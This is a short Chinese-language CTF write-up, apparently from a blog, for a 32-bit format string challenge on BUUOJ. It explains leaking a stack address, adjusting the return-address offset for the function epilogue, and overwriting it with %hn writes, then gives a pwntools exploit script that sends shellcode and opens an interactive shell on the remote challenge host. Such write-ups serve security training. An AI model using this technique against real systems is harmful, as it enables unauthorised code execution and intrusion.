
有可读可写可执行段,是道格式化字符串题,用shellcode做

1输入,会打印变量的栈地址,2格式化,可多次格式化,返回地址得在原来的基础上加0x10,因为这里leave以后并没有立即ret,而是lea esp, [ecx-4],调试发现时是add esp, 0x10,所以ret_addr=0x408+0x10+4

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import* from LibcSearcher import * p=remote("node5.buuoj.cn",29221)
context.log_level="debug" context(log_level='debug',arch='i386',os='linux')
offset=16 p.sendlineafter('Exit','1') p.recvline() addr = int(p.recv(8).strip(), 16) ret_addr=addr+0x418+4 print('addr'+hex(addr))
''' payload=p32(ret_addr)+b'%'+str(addr%65536-4).encode()+b'c'+b'%16$hn' p.sendline(payload) p.sendlineafter('3) Exit','2')
p.sendlineafter('3) Exit','1') payload=p32(ret_addr+2)+b'%'+str(addr//65536-4).encode()+b'c'+b'%16$hn' p.sendline(payload) ''' payload=p32(ret_addr)+p32(ret_addr+2)+b'%'+str(addr%65536-8).encode()+b'c'+b'%16$hn'+b'%'+str(addr//65536-addr%65536).encode()+b'c%17$hn' p.sendline(payload) p.sendlineafter('3) Exit','2') p.sendlineafter('3) Exit','1')
sleep(1)
p.sendline(asm(shellcraft.sh()))
p.sendlineafter('3) Exit','3')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~